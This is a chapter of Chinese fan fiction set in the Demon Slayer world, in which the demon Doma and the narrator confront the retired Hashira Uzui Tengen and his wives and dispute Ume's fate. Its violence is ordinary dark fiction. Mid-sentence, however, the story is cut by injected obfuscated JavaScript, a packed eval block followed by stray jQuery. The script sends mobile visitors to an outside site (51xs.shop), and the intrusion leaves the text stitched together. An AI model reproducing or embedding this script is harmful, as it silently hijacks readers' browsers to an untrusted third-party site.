96. 终章:花(13)
    也是凑巧,那男人带着三个姑娘有说有笑地走到了不远处的树下,可能察觉到了我的目光,还举起酒杯对我笑了笑,露出一口整齐洁白的牙齿。

    “哦哦,是那个柱啊。”

    童磨用手指轻敲着细长的雕花烟杆,百无聊赖地说。

    “可惜已经残废了。他身边那三个女孩子的肉质倒是很不错哦。”

    我不得不提醒他:“喂,现在可是白天。”

    “我知道哦,人家难得出来放松一下,才不想浪费这么美好的景色呢~”

    “不过,”鬼吐出个烟圈,笑得无辜又纯良,“也不妨碍大家交个朋友嘛。”

    童磨大人的社交能力是个谜。

    迄今为止,根据无惨大人和各位上弦对他的评价来看,其人品堪称惨不忍睹,尤其狛治阁下见他必往死里打,拿他的话说,就是明明有努力跟大家搞好关系,但大家都对他很冷淡。然而相对的,人类似乎很容易被他吸引乃至信服于他,大约是因为这家伙装成人样时不仅看起来温和又沉稳,还有种莫名的慈悲气质,让人在他面前会不由自主地卸下心防,吐露内心最不堪的过往。

    “……忍者就是拿人钱要人命的工作,一点也不华丽,所以我就带着老婆们退隐了。”

    “还真是不容易呢,宇髓先生。”职业本能上身的教主大人充满同情地接话,“您看起来是如此开朗的人,很难想象小时候经历过那么痛苦的事呢,和同胞兄弟自相残杀一定很难受吧?”

    “哈哈,所以我这种人以后一定会下地狱的。”戴眼罩的男人仰头灌下一大口酒,“啊,你这家伙带的酒真是华丽,作为祭典之神的我很满意!忘了问,你叫什么?是做什么的?”

    ……喝到现在才想起问对方名字,这位自称是祭典之神、“以华丽驰名整个忍界”的宇髓先生还真是个爽快人呢。

    “我叫童磨,家里开办了一间寺院,专门为可怜的人们提供帮助哦。”

    “童磨…?你这家伙名字倒不怎么华丽啊,连姓都没有?”

    “没有哦,就连这个名字也是别人给的呢。小时候我的父母相信我是神明之子,所以不敢给我取名。”

    “噗——哈哈哈哈!”

    名叫宇髓天元的男人喷出一口酒,相当夸张的大笑起来。

    “神明之子?是脑袋被驴踢了才会有这种想法吧?虽然你的确长得挺华丽,但你的父母真是一对丝毫不华丽的蠢货啊!”

    “对呀,我也认为没有比他们更愚蠢的父母了。”

    鬼笑眯眯地为对方又倒上了一杯。我看到名叫雏鹤的女孩皱了皱眉,还没说话,旁边那个黄头发的姑娘率先开口道:

    “天元大人,您已经喝的太多了,我们该回去了。”

    “槙於姐姐说的对,”年纪小的女孩子在一边附和,“天快黑了,再待下去我们就要赏夜樱啦。”

    女人的直觉总是比男人要敏锐,况且这是三名女忍者。

    于是我微笑着说:

    “话说有件事我有些好奇,但不知说出来的话是否冒犯各位?”

    名为雏鹤的女孩态度倒是不错:“荒川小姐不必客气,我大概明白您想要问什么。我们三人不是姐妹,但和姐妹也没有区别,都是心甘情愿嫁给天元大人的。”

    “啊…我倒是初次听闻这种事。”我惊讶道,“据我所知,忍者这个行当在幕府时就已经消失了呀。而且现今已是大正…竟然还可以一次娶三位妻子吗?”

    “就是因为忍者的工作很危险,才需要多几位妻子来延续血脉。”雏鹤笑道,“通常女忍只被当作生育工具和牺牲品,但天元大人却珍惜我们胜过珍惜自己的生命,能嫁给他当妻子,我们都感到非常幸福和自豪。”

    “天元大人最讨厌了,整天说自己杀的人太多,要下地狱赎罪什么的,好过分!”叫须磨的女孩子快言快语地说,“他其实是个很温柔的人哦,连我这种在战场上只会拖后腿的笨蛋都不会被嫌弃呢!”

    “须磨,不要再说那种丧气话!好不容易才过上退休生活,我再也不想听到地狱啊鬼啊什么的了!”

    看得出在三人中雏鹤是最冷静的,她马上打断了那黄头发少女:“好了,槙於,别在别人面前说那些可怕的事了。荒川小姐,我们家离城里还有点距离,所以不得不失礼地说一句,时候不早了,今后如果有机会,欢迎你去我们那里玩。”

    “诶呀,不要着急嘛。”童磨热情地说,“难得我和宇髓先生这么谈得来,这缘分可以说是奇迹了哦。其实我有辆洋车,大家挤挤应该坐得下,不如我送你们回去吧?”

    宇髓先生瞪大了眼睛,“你这家伙还真是华丽,居然买得起洋车?难怪娶的老婆也这么华丽啊!”

    “咳咳…”我被茶水呛了一大口,“抱歉,您误会了,我只是他的女侍而已。”

    “哎哎?你们不是夫妻吗?”须磨大叫起来,“怎么看都是一对啊!”

    我擦了把汗,“怎…怎么看都不是吧…”

    “作为女人的话,你个子有点太高了。”戴眼罩的男人煞有介事地品评道,“体型倒是相当华丽,应该很容易生养。”

    “什么…不!谢谢!并没有那种打算!”

    大正时代的柱到底都是些什么奇怪的人啊?喜欢吃鲑鱼萝卜的面瘫男人也就罢了,现在又加上娶了三个妻子的前忍者…相比之下,早云他们是多么可靠又正常的人类啊!

    小梅啊,你到底是被哥哥给娇惯成什么样子,才会被这种流里流气的家伙给打败的啊?

    要是能再见面,我一定得好好教训你一顿才行,否则休想让我送你鲤鱼和池塘!

    满脑子都是对小梅的怨念,我跟着童磨拐进了一条没人的街巷,那位宇髓先生和他的三个漂亮妻子跟在我身后。我留意到雏鹤的心跳声有些快,人明显变得警觉起来,但另外两个女孩有说有笑,还沉浸在对洋车的好奇心里。

    我不动声色地放慢了脚步,等着那几个女孩子跟上来。雏鹤走到我身边时礼貌地问道:

    “荒川小姐,我们还有多远?”

    “就在前面不远了。”我笑道,“雏鹤小姐累了吗?马上就到了。”

    天色已经完全黑了下来,路的两侧还有零星的店铺,但大多已经打烊了。

    “等等。”

    那位一直没出声的宇髓先生忽然停下了脚步。

    “雏鹤,槙於,须磨,你们过来。”

    “哎?天元大人,怎么了吗?”须磨回过头,不明所以地问。

    “过来!马上!”那男人突然厉声喝道。

    不愧是女忍者,三位少女像是受训过的战士一样,仅仅一瞬间就迅速闪身到了宇髓天元的身后,列成了品字阵。

    “诶呀呀…”

    童磨转过身来,满面笑容,嘴角露出的尖牙在月下泛起了雪白的冷光。

    “真可惜呀,本来还觉得大家可以好好相处的呐…不过好奇怪,我明明已经没有鬼的气息了吧,你是怎么发现的呀?忍者都这么厉害嘛?”

    “是啊,真够丢脸的,就连华丽的我也差点被你骗了。”宇髓天元剩下的一只眼睛里流露出凌厉的寒意,“但恰好我的听觉比一般人要敏锐,你为什么…走路没有声音?”

    “诶?什么嘛,只是这种小事而已?”童磨无辜地摊开手,“下次我会注意哦~”

    杀气从前忍者的身上爆发出来,虽然只剩一条手臂,但动作依然快到让人几乎看不清,他一边飞身跃起,一边丢出了几颗黑色的圆形物体。

    空气中弥漫开一丝硝磺的味道。

    炸药?

    我挥手,一道水龙卷拔地而起,将那几颗□□裹了进去。与此同时,凛冽的冰风呼啸而至,从地面到路边的石墙顷刻便挂上了一层白霜。

    叮叮几声脆响,几枚黑色的、短匕首似的暗器掉落在地上,名叫雏鹤的少女发出一声悲鸣,被虚空中伸出的几道冰莲蔓缠住身体,死死压制在石墙上。

    白发的鬼手中展开了一道金色流光,饮血无数的莲华铁扇在黑暗中轻轻翕动,仿佛死神的羽翼。

    他手指间拈着一枚黑色的暗器,饶有兴致地看了看。

    “就是这个嘛?是叫什么来着?苦无?很不错哦,居然能想到用这种东西来对付鬼…诶诶,还涂了紫藤花毒吗?但这种程度的毒,妓夫太郎应该是可以解开的呀?”

    “怎么可能?你是…上弦之贰?”

    名为宇髓天元的男人不知从哪里抽出一把短刀握在手里,浑身上下的肌肉都绷紧到了极限。

    童磨眨了眨眼。

    “这次你又是怎么知道的呀?我眼睛里可没刻字哦?”

    “无限城一战中,蝴蝶被上弦之贰吞噬…幸存的队员说过,那个上弦除了擅长冰的血鬼术,还使用一对锋利的金扇作为武器。”

    柱不愧是柱,在这种情况下,还能保持冷静沉着。

    “但是…你应该已经被华丽地砍头了才对,不对,连无惨都已经下地狱了,你只是上弦,到底是为什么…”

    “啊,我确实死了,小忍是很坚强的女孩子,用的毒也很棒哦,让人家相当感动呢!”鬼笑嘻嘻地说,“但你们这些猎鬼人的三观全都有很大的问题哦。地狱不是你们想象的样子,那种会有神佛惩治坏人什么的说法,都是人类编造出来安慰自己的童话哦。相反,地狱是个非常有趣的地方,简直让人家玩到快要上瘾啦~要不是小染不许我偷懒,我都开心到不想回来啦~”

    嗯…是童磨大人的招牌式魔鬼言论呢…

    果然,那位名叫宇髓天元的柱愣在了原地。

    “怎么可能…我们…鬼杀队付出了那么大的代价才灭尽恶鬼,现在你告诉我,你是从地狱里回来的?你这家伙脑子有问题吗?是开玩笑的吧?”

    “宇髓先生,人是灭不尽鬼的。”

    我走到那茫然无措的男人面前,感到了一丝怜悯。

    “我们来找你的目的并不是复仇。我只想问一个问题,顺便给你讲一个故事。你能把刀收起来,容我把话说完吗?”

    “荒川小姐,你…你是鬼吗?”

    那名叫须磨的少女显然吓坏了,惨白着一张脸问道。

    “须磨,跟她废什么话?!”

    黄头发的少女不知何时闪身到我身后,又是一把黑色的苦无向我的脖颈挥来。

    回旋的水流将她撞出老远,冰之莲蔓从地面涌现出来,少女瞬间失去了行动能力。

    “我说你们这些猎鬼人,真是愚蠢到让人绝望呀。”

    童磨摇了摇扇子,竟然显得有点无奈。

    “这里可不是无限城,是银座附近呀,真要打起来的话,周围的人类一个都活不了哦。所以,你们最好想清楚了,再跟我动手哟~”

    “另外,宇髓先生你已经残疾了吧,少了一只眼睛和一条手臂,准头明显差了很多呢。而且你也没有带日轮刀…诶呀,就算有日轮刀的话,现在砍我的脖子也不一定管用哦?毕竟人家已经能在太阳底下活动了嘛~鬼杀队的绝招就这么白费啦,想到这个就觉得你们好可怜,太可怜了~”

    名为宇髓天元的柱怔怔地看着面前的恶鬼。

    “你…找到了青色彼岸花?”

    童磨并未回答他,而是笑眯眯地对我说:

    “小染,封锁这条街道吧,我们不要玩的太过火哦?”

    我轻轻躬身:“是,童磨大人,已经布下隔绝用的结界了,外面的人也听不到这里的声音。”

    “那就好啦~宇髓先生想打的话,就随他的便吧~”

    我其实很佩服猎鬼人奋不顾身的勇气,毕竟面对童磨的压迫感,连我都有些难以承受。

    何况这个家伙现在的“术”实在有点诡异,导致我也不知道那还算不算是传统意义上的血鬼术。

    我望着整条街面上凭空冒出来的无数活生生的莲蔓和绽放在其中的雪色莲花,默默感到后背发凉。

    这不怪我,谁家的莲花长到这种铺天盖地的程度,都会让人毛骨悚然,怎么看都不是人世的东西。

    那是扎根在地狱深处,以人鬼的怨念为养料,从业火与寒冰中长出的莲华。

    童磨站在一朵足有桌面大的白莲上,加上穿了一袭银白的羽织,犹如神明降临在人世。

    “诶呀呀,这个的范围果然不好控制呀,下次还是用冰好啦~”

    鬼一边自言自语,一边轻轻一跃,跳到了被莲蔓缠成个茧子的前任柱面前。

    “宇髓先生,你看看你,为什么要躲来躲去的嘛?人家可是很努力地控制住自己,才没有吃掉你哦?”

    “不过,”他舔了舔牙齿,“你那三位可爱的妻子,看起来都是难得的美味呢~”

    宇髓天元的眼中都是血丝,终于失去了冷静。

    “别碰她们!你敢碰她们的话,我就算化为厉鬼也…”

    “那种东西也不怎么好吃哦,还是女孩子的肉最棒了~”

    我叹了口气,开口道:“那个…我可以说几句话吗?”

    “小染说吧~”童磨合上扇子,懒洋洋地在莲花上坐了下来,“现在的柱真是一个不如一个了,连我都开始觉得无聊了哦。”

    “哈哈哈…”

    宇髓天元忽然大笑了起来。

    “我的水平在鬼杀队只是中下而已,如果是不死川或者悲鸣屿,一定不会输给你这种垃圾!就算我们这代柱都死了,也会有后世的队员来灭除你们这些恶鬼!可不要小看人类!我们鬼杀队一定会赢!”

    “诶?我哪里像垃圾了?宇髓先生明明白天还说过人家长得很华丽嘛。”童磨委屈地擦了擦眼睛,“作为朋友还说这种恶毒的话,人家要生气了哦?”

    “请容我打断一下!”

    我大声说,“宇髓先生,你到底为什么要杀鬼?鬼吃过你的哪位亲人吗?”

    那位柱的目光终于转向了我。

    “你问我为什么要杀鬼?这位鬼小姐,你的脑袋看来也被驴踢了啊!你为什么不问问你眼前这个上弦他为什么要吃人?杀一个上弦就能救下成百上千的人!我这种双手沾满他人鲜血的人,只有这样才能赎罪啊!”

    “你…杀鬼只是为了赎罪?”

    我轻声说,“所以你杀了小梅,并不是因为她和你有私仇,而只是因为她是鬼,吃过人,对吗?”

    “我不认识你说的什么小梅!你也是鬼吧?你吃过多少人?别在那里假惺惺地说话了!你到底想干什么?不会以为我会不华丽地认输吧?”

    “我不是鬼,吃人也是很久以前的事了。至于小梅,你可能确实不知道她的名字,她是在吉原花街和哥哥一起被你们斩首的鬼。”

    宇髓天元愣了愣,“你说的不会是上弦之六吧,那对兄妹鬼?那个女鬼弱的简直不像上弦,居然掉了脑袋还嚎啕大哭,一点也不华丽,真是笑死人了!”

    我笑了笑:“是啊,小梅很爱哭,因为她变成鬼时,只有十三岁啊。”

    “哈,那和我有什么关系?不管她变成鬼时多大,也已经活了百年,吃了无数的人类,这种鬼不下地狱,难道要娶回家当老婆吗?”

    “小梅没有那种好命,能被您这样华丽的人娶回家当妻子。”

    我走到他面前,冷然道。

    “她生在吉原的罗生门河畔,母亲是游女,得了梅毒,早早就死了。她是被哥哥养大的。”

    “她因为天生银发,被母亲当作不祥之物,如果不是哥哥拼上性命保护,她根本活不下来。”

    “她哥哥生来就得了梅毒,根本吃不到什么东西,但为了养活她,哪怕自己受尽打骂也心甘情愿。因为她是哥哥生命里唯一的希望,哥哥也是她唯一的依靠。”

    “她刚满十三岁就成了游女,向一个武士卖春时,因为对方侮辱她哥哥,她用簪子扎伤了那人的眼睛,就被活活绑起来用火烧…当哥哥满心欢喜地带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252373|151568||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着省钱给她买的好吃的回来时,只看到变成了一块焦炭的小梅。”

    “你跟我说这些干什么?!”宇髓天元的脸色变得不太自然,“我说了我不关心那些鬼有什么悲惨的过往,只要变成鬼,吃了无辜之人,就该下地狱!”

    “……那个武士连她哥哥也想杀掉,却被悲愤至极的妓夫太郎反杀了。哥哥抱着只剩一口气的她,沿街一路求救,却没有一个人,没有一个人肯救他们…”

    “直到你面前这个吃了无数人的上弦路过,把他们兄妹变成了鬼,小梅和她哥哥才活了下来。”

    “宇髓先生,”我直直地盯着那男人充血的眼睛,“小梅吃的那些人,大多都不无辜,他们默许了吉原的存在,他们明知道那里的游女是什么命运,明知道罗生门河畔有多少小梅那样的女孩子,但这并不妨碍他们去那里寻欢作乐。连你们猎鬼人也一样,你们同样知道吉原是什么样的地方,对吗?但你们只会为被鬼杀死的人复仇,却无视那些被人类践踏、被人类残害的人。”

    “这世上没有神佛帮助困苦之人,宇髓先生,也没有真正的无辜之人,每个人都带着罪业而生,每个对人世的黑暗视而不见的人,都是制造出‘鬼’这种生物的元凶。”

    我微笑道:“你以为用地狱这种东西就能吓唬住鬼吗?小梅和她哥哥还是人类时,就已经活在地狱里了。你以为地狱在什么地方?地狱就在人间啊!”

    宇髓天元沉默了片刻,声音嘶哑地说道:“我不是没见过你说的那些事,但人是可以选择的,因为自己的不幸,而选择堕落成恶鬼,去坑害他人,这种不华丽的事情…恕我不能苟同。”

    “啊,我知道该怎么办啦~”

    我身后的鬼忽然睁大了那双虹色的眼睛,露出了如孩童般天真又残忍的表情。

    “不如咱们来试试吧?看看身为鬼杀队的柱的宇髓先生,面对同样的事情的话,又会怎么选择呐?”

    “你要做什…不!雏鹤!你不准碰她!恶鬼!不要碰她!”

    名为宇髓天元的柱疯狂地挣扎起来,却只能眼睁睁看着一条莲蔓像蛇一样弯了起来,径直扎进了昏迷中的少女的脖颈。

    女孩的鲜血沿着那诡异的莲蔓流淌,又一滴不剩地被吸收的干干净净,不一会儿工夫,雏鹤的脸色就变得苍白无比。

    “女孩子的血果然味道是最棒的啦~”童磨舔了舔嘴角,眼中闪烁着餍足的惬意,“虽然人家现在不再需要进食人肉了,但在工作之余吃个点心也不错哦~”

    宇髓天元目眦欲裂地看着他。

    “恶鬼!就算今天我们都死在这里也没关系!鬼杀队不会放过你!你一定会遭到天谴的!”

    “宇髓先生,你又错了哦~”童磨笑眯眯地说,“神佛是不会降下天谴的,所以这个世界上,一向是善良的好人遭到蛮不讲理的对待,而坏人则一个个飞扬跋扈,过的要多痛快有多痛快,这么简单的道理,你难道还没有理解嘛?脑子这么笨一定很难受吧?”

    “童磨大人说的对。”我笑道,“只是请容我补充一句。能从地狱里走出来的鬼,其实已经不能算作是鬼,而是跨越生死界限、不受人类怨念染污的存在,自然也不再受到人类眼中那扭曲的‘天道’的遏制,如果硬说的话,这种生物叫做‘鬼神’才比较合适。宇髓先生,你尽可以将今天在这里所发生的一切都报告给产屋敷,或是告知你们鬼杀队任何一个活下来的人,但是你这么做的话,除了为这些人带来无休无止且毫无意义的痛苦、仇恨和杀戮,并没有其他任何的好处。你最好想清楚再做决定。”

    “诶?小染说的这是什么话?人家不要当神,做鬼就很好呀~”鬼抱怨起来,“做鬼最开心啦!啊,这个女孩子就快要死了哦,宇髓先生,你是想让她就这么死掉,还是接受我的血变成鬼呀?”

    他轻轻挥了挥扇子,几条莲蔓就将那奄奄一息的少女送到了怀里。童磨抱着那名为雏鹤的少女,伸出舌尖舔舐她脖子上流出的残血。

    “只剩一口气了哦,快点做个决定吧~”

    那男人的眼中只有绝望。

    “雏鹤…雏鹤她说过,想退居二线,以普通人的身份度过余生…她只有这么简单的愿望而已啊…”

    听到这话,我含着眼泪笑了起来。

    “宇髓先生,小梅对我说过,她也只是想在大一点的店里工作,多赚点钱,和哥哥过上能吃饱饭的日子…而已啊…”

    “是我错了…无论怎么选都是错的…我可以去死,但我没有权利…没有权利替雏鹤决定她的生死…正是因为这样,我才从家族里退出啊…”

    宇髓天元好像终于下定了决心似的抬起头,目光一片空洞。

    “请…救救她,救救雏鹤吧!哪怕是…哪怕是…”

    我几乎不忍心再看下去,于是扭开了头,却听见童磨发出了一声轻微的叹息。

    “真是无趣啊…宇髓先生。”

    鬼松开手,将瘫软的少女丢在了地上。

    “当年妓夫太郎可是想都没想就答应了呐。你会想这么多,只是因为没有经历足够多的痛苦而已。小染说的对,你们这样的人,不配得到我的救赎哦。”

    “啊,第一次有玩腻了的感觉呢。小染,今天的工作就算结束啦,我们走吧~”

    “是,童磨大人。”

    肆虐在整条街道的莲蔓突然一起消失的无影无踪。我沉默地转过身,最后看了一眼那位以杀鬼来赎罪的柱。

    他这辈子都注定得不到想要的救赎了。

    “三条街之外有家医院。”

    我轻声说道,“你现在送她过去还来得及。”

    那男人猛的抬起头来,以一种难以置信的目光看着我。

    “宇髓先生,你该庆幸这里是银座,而不是罗生门河畔。”

    说罢,我再也没有回头,跟着童磨踏入了前方的黑暗中。

    一直到车子开上山路,我才慢慢止住了眼泪。

    “诶呀呀,小染又是因为什么在哭呀?”鬼笑嘻嘻地递给我一方手帕,“我看鬼杀队算是完蛋啦,剩下的猎鬼人不是开了斑纹快要死掉的,就是今天这种脑子不好的蠢货,而且只要是在人多的地方,他们就一点办法都没有哦?”

    “跟他们有什么关系?我只是想小梅了。”

    我擦干眼泪,感觉迎面而来的山风让自己清醒了很多。

    “我曾经告诉那孩子,要放下仇恨,努力去争取幸福。”

    “现在想想,我也是虚伪的人呢,我有什么资格要她原谅人类?这些…自始至终,都没有将她当作一个人来看待的人类。”

    “小染又在苛责自己了哦。”

    童磨开着车,平静而笃定地说。

    “不要想那么多啦,小堕姬他们一定已经转世了,下次见面时大家再做朋友吧。”

    不知道为什么,这鬼的安慰对我来说永远管用。

    “嗯。以后…一定还会见面的。”

    我看着他微笑起来,忽然发现那件银白色羽织的前襟染上了一抹暗红。

    “诶?你把衣服弄脏了?”

    鬼低头看了一眼,“哦哦,可能是抱那个女孩子时沾上的吧,小事而已~”

    他随手一扯,就将那件羽织顺着路边的山崖丢了下去。

    我目瞪口呆地看着他,又看了看衣服消失的方向。

    “童磨大人…那是桐生织啊…今年三越吴服店卖至少三四百元一件,差不多是普通人大半年的薪水呢,你、你就这么给扔啦?”

    “诶?人家的衣服弄脏了都是这么办的嘛,被信徒看到上面有血的话会感到不安哦,到时候又要送人去极乐,很麻烦的呀~”

    “……所以你是因为这个原因才喜欢穿红色?”

    “对呀,那样不容易被发现哦~”鬼洋洋得意地说,“人家是不是很聪明?”

    “……你今年都不准买新羽织了!穿你那没品味的红衣服去吧!”